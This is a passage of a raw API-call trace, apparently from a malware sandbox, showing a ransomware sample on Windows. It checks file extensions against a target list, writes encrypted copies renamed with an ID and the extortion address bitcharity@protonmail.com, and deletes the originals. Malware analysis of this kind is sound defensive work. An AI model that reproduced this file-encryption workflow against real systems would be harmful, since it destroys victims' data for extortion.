lpString2="k.dll") returned -1 [0303.865] lstrlenW (lpString=".ppt") returned 4 [0303.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.865] lstrlenW (lpString=".zip") returned 4 [0303.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.865] lstrlenW (lpString=".rar") returned 4 [0303.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.865] lstrlenW (lpString=".bz2") returned 4 [0303.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.865] lstrlenW (lpString=".7z") returned 3 [0303.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.865] lstrlenW (lpString=".dbf") returned 4 [0303.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.865] lstrlenW (lpString=".1cd") returned 4 [0303.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.865] lstrlenW (lpString=".jpg") returned 4 [0303.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.865] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.865] lstrlenW (lpString="verify.dll") returned 10 [0303.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.866] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=49216) returned 1 [0303.866] CloseHandle (hObject=0x10d0) returned 1 [0303.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0303.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.866] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.866] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0303.867] GetLastError () returned 0x0 [0303.867] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0xc040, lpOverlapped=0x0) returned 1 [0303.921] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xc050, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xc050, lpOverlapped=0x0) returned 1 [0303.922] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.923] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0303.923] SetEndOfFile (hFile=0x10c4) returned 1 [0303.923] CloseHandle (hObject=0x10c4) returned 1 [0303.923] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.923] SetEndOfFile (hFile=0x10d0) returned 1 [0303.924] CloseHandle (hObject=0x10d0) returned 1 [0303.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.924] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 1 [0303.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.925] lstrlenW (lpString=".doc") returned 4 [0303.925] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.925] lstrlenW (lpString=".docx") returned 5 [0303.925] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0303.925] lstrlenW (lpString=".pdf") returned 4 [0303.925] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.925] lstrlenW (lpString=".xls") returned 4 [0303.925] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.925] lstrlenW (lpString=".xlsx") returned 5 [0303.925] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0303.925] lstrlenW (lpString=".ppt") returned 4 [0303.925] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.925] lstrlenW (lpString=".zip") returned 4 [0303.925] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.925] lstrlenW (lpString=".rar") returned 4 [0303.925] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.925] lstrlenW (lpString=".bz2") returned 4 [0303.925] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.925] lstrlenW (lpString=".7z") returned 3 [0303.925] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.925] lstrlenW (lpString=".dbf") returned 4 [0303.925] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.925] lstrlenW (lpString=".1cd") returned 4 [0303.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.925] lstrlenW (lpString=".jpg") returned 4 [0303.925] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.926] lstrlenW (lpString=".doc") returned 4 [0303.926] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.926] lstrlenW (lpString=".docx") returned 5 [0303.926] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0303.926] lstrlenW (lpString=".pdf") returned 4 [0303.926] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.926] lstrlenW (lpString=".xls") returned 4 [0303.926] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.926] lstrlenW (lpString=".xlsx") returned 5 [0303.926] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0303.926] lstrlenW (lpString=".ppt") returned 4 [0303.926] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.926] lstrlenW (lpString=".zip") returned 4 [0303.926] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.926] lstrlenW (lpString=".rar") returned 4 [0303.926] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.926] lstrlenW (lpString=".bz2") returned 4 [0303.926] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.926] lstrlenW (lpString=".7z") returned 3 [0303.926] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.926] lstrlenW (lpString=".dbf") returned 4 [0303.926] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.926] lstrlenW (lpString=".1cd") returned 4 [0303.926] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0303.926] lstrlenW (lpString=".jpg") returned 4 [0303.926] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.926] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.927] lstrlenW (lpString="zip.dll") returned 7 [0303.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.927] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=77888) returned 1 [0303.927] CloseHandle (hObject=0x10d0) returned 1 [0303.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0303.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.927] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.927] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.928] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0303.928] GetLastError () returned 0x0 [0303.928] ReadFile (hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0) Thread: id = 3460 os_tid = 0x2790 [0286.038] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x3770098 [0286.038] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x37800a0 [0286.039] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9768 [0286.039] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c56f8 [0286.039] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9780 [0286.039] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x3c12020 [0286.041] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9798 [0286.041] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9798, Size=0x20) returned 0x7bd850 [0286.041] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9798 [0286.041] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9798, Size=0x20) returned 0x7bd7b0 [0286.041] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0286.041] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0286.041] Wow64DisableWow64FsRedirection (in: OldValue=0x31fff50 | out: OldValue=0x31fff50*=0x0) returned 1 [0286.041] lstrlenW (lpString="kernel32.dll") returned 12 [0286.041] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0286.041] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0286.041] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd7b0 | out: hHeap=0x730000) returned 1 [0286.042] Sleep (dwMilliseconds=0x64) [0286.274] lstrcmpiW (lpString1=".MARKER", lpString2=".com") returned 1 [0286.274] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0286.274] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.274] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=0) returned 1 [0286.274] CloseHandle (hObject=0x1048) returned 1 [0286.274] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.274] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.274] lstrlenW (lpString=".doc") returned 4 [0286.274] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0286.274] lstrlenW (lpString=".docx") returned 5 [0286.274] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0286.274] lstrlenW (lpString=".pdf") returned 4 [0286.274] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0286.274] lstrlenW (lpString=".xls") returned 4 [0286.274] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0286.274] lstrlenW (lpString=".xlsx") returned 5 [0286.274] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0286.274] lstrlenW (lpString=".ppt") returned 4 [0286.274] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0286.274] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.274] lstrlenW (lpString=".zip") returned 4 [0286.274] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0286.274] lstrlenW (lpString=".rar") returned 4 [0286.275] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString=".bz2") returned 4 [0286.275] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString=".7z") returned 3 [0286.275] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0286.275] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.275] lstrlenW (lpString=".dbf") returned 4 [0286.275] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.275] lstrlenW (lpString=".1cd") returned 4 [0286.275] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.275] lstrlenW (lpString=".jpg") returned 4 [0286.275] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.275] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.275] lstrlenW (lpString=".doc") returned 4 [0286.275] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString=".docx") returned 5 [0286.275] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0286.275] lstrlenW (lpString=".pdf") returned 4 [0286.275] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString=".xls") returned 4 [0286.275] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString=".xlsx") returned 5 [0286.275] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0286.275] lstrlenW (lpString=".ppt") returned 4 [0286.275] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.275] lstrlenW (lpString=".zip") returned 4 [0286.275] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0286.275] lstrlenW (lpString=".rar") returned 4 [0286.276] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0286.276] lstrlenW (lpString=".bz2") returned 4 [0286.276] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0286.276] lstrlenW (lpString=".7z") returned 3 [0286.276] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0286.276] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.276] lstrlenW (lpString=".dbf") returned 4 [0286.276] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0286.276] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.276] lstrlenW (lpString=".1cd") returned 4 [0286.276] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0286.276] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0286.276] lstrlenW (lpString=".jpg") returned 4 [0286.276] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0286.276] lstrlenW (lpString="BCD") returned 3 [0286.276] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.276] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.276] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.276] lstrlenW (lpString=".doc") returned 4 [0286.276] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0286.276] lstrlenW (lpString=".docx") returned 5 [0286.276] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0286.276] lstrlenW (lpString=".pdf") returned 4 [0286.276] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0286.276] lstrlenW (lpString=".xls") returned 4 [0286.276] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString=".xlsx") returned 5 [0286.277] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0286.277] lstrlenW (lpString=".ppt") returned 4 [0286.277] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.277] lstrlenW (lpString=".zip") returned 4 [0286.277] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString=".rar") returned 4 [0286.277] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString=".bz2") returned 4 [0286.277] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString=".7z") returned 3 [0286.277] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0286.277] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.277] lstrlenW (lpString=".dbf") returned 4 [0286.277] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.277] lstrlenW (lpString=".1cd") returned 4 [0286.277] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.277] lstrlenW (lpString=".jpg") returned 4 [0286.277] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.277] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.277] lstrlenW (lpString=".doc") returned 4 [0286.277] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0286.277] lstrlenW (lpString=".docx") returned 5 [0286.277] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0286.277] lstrlenW (lpString=".pdf") returned 4 [0286.277] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString=".xls") returned 4 [0286.278] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString=".xlsx") returned 5 [0286.278] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0286.278] lstrlenW (lpString=".ppt") returned 4 [0286.278] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.278] lstrlenW (lpString=".zip") returned 4 [0286.278] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString=".rar") returned 4 [0286.278] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString=".bz2") returned 4 [0286.278] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString=".7z") returned 3 [0286.278] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0286.278] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.278] lstrlenW (lpString=".dbf") returned 4 [0286.278] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.278] lstrlenW (lpString=".1cd") returned 4 [0286.278] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0286.278] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0286.278] lstrlenW (lpString=".jpg") returned 4 [0286.278] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0286.278] lstrcmpiW (lpString1=".LOG1", lpString2=".com") returned 1 [0286.278] lstrlenW (lpString="BCD.LOG1") returned 8 [0286.278] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.279] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=0) returned 1 [0286.279] CloseHandle (hObject=0x1048) returned 1 [0286.279] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.279] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.279] lstrlenW (lpString=".doc") returned 4 [0286.279] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0286.279] lstrlenW (lpString=".docx") returned 5 [0286.279] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0286.279] lstrlenW (lpString=".pdf") returned 4 [0286.279] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0286.279] lstrlenW (lpString=".xls") returned 4 [0286.279] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0286.279] lstrlenW (lpString=".xlsx") returned 5 [0286.279] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0286.279] lstrlenW (lpString=".ppt") returned 4 [0286.279] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0286.279] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.279] lstrlenW (lpString=".zip") returned 4 [0286.279] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0286.279] lstrlenW (lpString=".rar") returned 4 [0286.279] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0286.279] lstrlenW (lpString=".bz2") returned 4 [0286.279] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0286.279] lstrlenW (lpString=".7z") returned 3 [0286.279] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0286.279] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.279] lstrlenW (lpString=".dbf") returned 4 [0286.280] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.280] lstrlenW (lpString=".1cd") returned 4 [0286.280] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.280] lstrlenW (lpString=".jpg") returned 4 [0286.280] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.280] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.280] lstrlenW (lpString=".doc") returned 4 [0286.280] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString=".docx") returned 5 [0286.280] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0286.280] lstrlenW (lpString=".pdf") returned 4 [0286.280] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString=".xls") returned 4 [0286.280] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString=".xlsx") returned 5 [0286.280] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0286.280] lstrlenW (lpString=".ppt") returned 4 [0286.280] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.280] lstrlenW (lpString=".zip") returned 4 [0286.280] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString=".rar") returned 4 [0286.280] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0286.280] lstrlenW (lpString=".bz2") returned 4 [0286.280] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0286.281] lstrlenW (lpString=".7z") returned 3 [0286.281] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0286.281] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.281] lstrlenW (lpString=".dbf") returned 4 [0286.281] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0286.281] lstrlenW 